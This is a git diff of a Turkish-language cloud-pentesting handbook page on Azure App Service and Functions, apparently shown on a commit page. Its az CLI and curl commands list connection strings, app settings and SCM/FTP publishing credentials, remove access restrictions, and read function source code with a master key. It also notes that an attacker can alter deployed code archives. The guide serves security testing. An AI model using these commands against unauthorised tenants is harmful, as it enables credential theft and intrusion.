- Git deposunun URL'sini `az webapp deployment source show --name <app-name> --resource-group <res-group>` ile alabilirsiniz ve bu, uygulamanın SCM URL'si olacaktır.
|
||||
- Klonlamak için, `az webapp deployment list-publishing-profiles --resource-group <res-group> -n <name>` komutuyla alabileceğiniz SCM kimlik bilgilerine ihtiyacınız olacaktır.
|
||||
|
||||
## Webjobs
|
||||
|
||||
Azure WebJobs, **Azure App Service ortamında çalışan arka plan görevleridir**. Geliştiricilerin, web uygulamalarıyla birlikte betikler veya programlar çalıştırmasına olanak tanır ve dosya işleme, veri işleme veya planlı görevler gibi zaman alıcı veya asenkron işlemleri daha kolay yönetmelerini sağlar.
|
||||
İki tür web job vardır:
|
||||
- **Sürekli**: Sonsuz bir döngüde çalışır ve oluşturulur oluşturulmaz tetiklenir.
|
||||
```bash
|
||||
# List webapps
|
||||
az webapp list
|
||||
|
||||
## Less information
|
||||
az webapp list --query "[].{hostName: defaultHostName, state: state, name: name, resourcegroup: resourceGroup}"
|
||||
az webapp list --query "[].{hostName: defaultHostName, state: state, name: name, resourcegroup: resourceGroup}" -o table
|
||||
## Get SCM URL of each webapp
|
||||
az webapp list | grep '"name"' | grep "\.scm\." | awk '{print $2}' | sed 's/"//g'
|
||||
|
||||
# Get info about 1 app
|
||||
az webapp show --name <name> --resource-group <res-group>
|
||||
@@ -51,18 +79,24 @@ az webapp show --name <name> --resource-group <res-group>
|
||||
az webapp list-instances --name <name> --resource-group <res-group>
|
||||
## If you have enough perm you can go to the "consoleUrl" and access a shell inside the instance form the web
|
||||
|
||||
# Get configured Auth information
|
||||
az webapp auth show --name <app-name> --resource-group <res-group>
|
||||
|
||||
# Get access restrictions of an app
|
||||
az webapp config access-restriction show --name <name> --resource-group <res-group>
|
||||
|
||||
# Remove access restrictions
|
||||
az webapp config access-restriction remove --resource-group <res-group> -n <name> --rule-name <rule-name>
|
||||
|
||||
# Get connection strings of a webapp
|
||||
az webapp config connection-string list --name <name> --resource-group <res-group>
|
||||
|
||||
# Get appsettings of an app
|
||||
az webapp config appsettings list --name <name> --resource-group <res-group>
|
||||
|
||||
# Get SCM and FTP credentials
|
||||
az webapp deployment list-publishing-profiles --name <name> --resource-group <res-group>
|
||||
|
||||
# Get configured Auth information
|
||||
az webapp auth show --name <app-name> --resource-group <res-group>
|
||||
|
||||
# Get backups of a webapp
|
||||
az webapp config backup list --webapp-name <name> --resource-group <res-group>
|
||||
|
||||
@@ -75,61 +109,39 @@ az webapp config snapshot list --resource-group <res-group> -n <name>
|
||||
# Restore snapshot
|
||||
az webapp config snapshot restore -g <res-group> -n <name> --time 2018-12-11T23:34:16.8388367
|
||||
|
||||
# Get connection strings of a webapp
|
||||
az webapp config connection-string list --name <name> --resource-group <res-group>
|
||||
# Get slots
|
||||
az webapp deployment slot list --name <AppName> --resource-group <ResourceGroupName> --output table
|
||||
az webapp show --slot <SlotName> --name <AppName> --resource-group <ResourceGroupName>
|
||||
|
||||
# Get traffic-routing
|
||||
az webapp traffic-routing show --name <AppName> --resource-group <ResourceGroupName>
|
||||
|
||||
# Get used container by the app
|
||||
az webapp config container show --name <name> --resource-group <res-group>
|
||||
|
||||
# Get storage account configurations of a webapp
|
||||
az webapp config storage-account list --name <name> --resource-gl_group
|
||||
az webapp config storage-account list --name <name> --resource-group <res-group>
|
||||
|
||||
# Get configured container (if any) in the webapp, it could contain credentials
|
||||
az webapp config container show --name <name> --resource-group <res-group>
|
||||
|
||||
# Get Webjobs
|
||||
az webapp webjob continuous list --resource-group <res-group> --name <app-name>
|
||||
az webapp webjob triggered list --resource-group <res-group> --name <app-name>
|
||||
|
||||
# Read webjobs logs with Azure permissions
|
||||
az rest --method GET --url "<SCM-URL>/vfs/data/jobs/<continuous | triggered>/rev5/job_log.txt" --resource "https://management.azure.com/"
|
||||
az rest --method GET --url "https://lol-b5fyaeceh4e9dce0.scm.canadacentral-01.azurewebsites.net/vfs/data/jobs/continuous/rev5/job_log.txt" --resource "https://management.azure.com/"
|
||||
|
||||
# List all the functions
|
||||
az functionapp list
|
||||
# Read webjobs logs with SCM credentials
|
||||
curl "https://windowsapptesting-ckbrg3f0hyc8fkgp.scm.canadacentral-01.azurewebsites.net/vfs/data/jobs/continuous/lala/job_log.txt" \
|
||||
--user '<username>:<password>' -v
|
||||
|
||||
# Get info of 1 funciton (although in the list you already get this info)
|
||||
az functionapp show --name <app-name> --resource-group <res-group>
|
||||
## If "linuxFxVersion" has something like: "DOCKER|mcr.microsoft.com/..."
|
||||
## This is using a container
|
||||
# Get connections of a webapp
|
||||
az webapp conection list --name <name> --resource-group <res-group>
|
||||
|
||||
# Get details about the source of the function code
|
||||
az functionapp deployment source show \
|
||||
--name <app-name> \
|
||||
--resource-group <res-group>
|
||||
## If error like "This is currently not supported."
|
||||
## Then, this is probalby using a container
|
||||
|
||||
# Get more info if a container is being used
|
||||
az functionapp config container show \
|
||||
--name <name> \
|
||||
--resource-group <res-group>
|
||||
|
||||
# Get settings (and privesc to the sorage account)
|
||||
az functionapp config appsettings list --name <app-name> --resource-group <res-group>
|
||||
|
||||
# Check if a domain was assigned to a function app
|
||||
az functionapp config hostname list --webapp-name <app-name> --resource-group <res-group>
|
||||
|
||||
# Get SSL certificates
|
||||
az functionapp config ssl list --resource-group <res-group>
|
||||
|
||||
# Get network restrictions
|
||||
az functionapp config access-restriction show --name <app-name> --resource-group <res-group>
|
||||
|
||||
# Get more info about a function (invoke_url_template is the URL to invoke and script_href allows to see the code)
|
||||
az rest --method GET \
|
||||
--url "https://management.azure.com/subscriptions/<subscription>/resourceGroups/<res-group>/providers/Microsoft.Web/sites/<app-name>/functions?api-version=2024-04-01"
|
||||
|
||||
# Get source code with Master Key of the function
|
||||
curl "<script_href>?code=<master-key>"
|
||||
## Python example
|
||||
curl "https://newfuncttest123.azurewebsites.net/admin/vfs/home/site/wwwroot/function_app.py?code=<master-key>" -v
|
||||
|
||||
# Get source code
|
||||
az rest --url "https://management.azure.com/<subscription>/resourceGroups/<res-group>/providers/Microsoft.Web/sites/<app-name>/hostruntime/admin/vfs/function_app.py?relativePath=1&api-version=2022-03-01"
|
||||
# Get hybrid-connections of a webapp
|
||||
az webapp hybrid-connections list --name <name> --resource-group <res-group>
|
||||
```
|
||||
{{#endtab }}
|
||||
|
||||
@@ -196,7 +208,41 @@ git clone 'https://<username>:<password>@name.scm.azurewebsites.net/repo-name.gi
|
||||
../az-privilege-escalation/az-app-services-privesc.md
|
||||
{{#endref}}
|
||||
|
||||
## Referanslar
|
||||
## Web Uygulamaları Oluşturma Örnekleri
|
||||
|
||||
### Yerel Python
|
||||
|
||||
Bu eğitim, [https://learn.microsoft.com/en-us/azure/app-service/quickstart-python](https://learn.microsoft.com/en-us/azure/app-service/quickstart-python?tabs=flask%2Cwindows%2Cazure-cli%2Cazure-cli-deploy%2Cdeploy-instructions-azportal%2Cterminal-bash%2Cdeploy-instructions-zip-azcli) adresindeki eğitimden alınmıştır.
|
||||
```bash
|
||||
# Clone repository
|
||||
git clone https://github.com/Azure-Samples/msdocs-python-flask-webapp-quickstart
|
||||
cd msdocs-python-flask-webapp-quickstart
|
||||
|
||||
# Create webapp from this code
|
||||
az webapp up --runtime PYTHON:3.9 --sku B1 --logs
|
||||
```
|
||||
SCM portalına giriş yaparak veya FTP üzerinden bağlanarak `/wwwroot` dizininde web uygulamasının kodunu içeren `output.tar.gz` adlı sıkıştırılmış dosyayı görebilirsiniz.
|
||||
|
||||
> [!TIP]
|
||||
> Sadece FTP üzerinden bağlanmak ve `output.tar.gz` dosyasını değiştirmek, web uygulaması tarafından yürütülen kodu değiştirmek için yeterli değildir.
|
||||
|
||||
**Bir saldırgan bu dosyayı indirebilir, değiştirebilir ve web uygulamasında rastgele kod yürütmek için tekrar yükleyebilir.**
|
||||
|
||||
### Github'dan Python
|
||||
|
||||
Bu eğitim, önceki eğitim üzerine inşa edilmiştir ancak bir Github deposu kullanmaktadır.
|
||||
|
||||
1. Github hesabınızda msdocs-python-flask-webapp-quickstart deposunu fork edin.
|
||||
2. Azure'da yeni bir Python Web Uygulaması oluşturun.
|
||||
3. `Deployment Center`'da kaynağı değiştirin, Github ile giriş yapın, fork edilmiş depoyu seçin ve `Save` butonuna tıklayın.
|
||||
|
||||
Önceki durumda olduğu gibi, SCM portalına giriş yaparak veya FTP üzerinden bağlanarak `/wwwroot` dizininde web uygulamasının kodunu içeren `output.tar.gz` adlı sıkıştırılmış dosyayı görebilirsiniz.
|
||||
|
||||
> [!TIP]
|
||||
> Sadece FTP üzerinden bağlanmak ve `output.tar.gz` dosyasını değiştirmek ve bir dağıtımı yeniden tetiklemek, web uygulaması tarafından yürütülen kodu değiştirmek için yeterli değildir.
|
||||
|
||||
|
||||
## References
|
||||
|
||||
- [https://learn.microsoft.com/en-in/azure/app-service/overview](https://learn.microsoft.com/en-in/azure/app-service/overview)
|
||||
|
||||
|
||||
Reference in New Issue
Block a user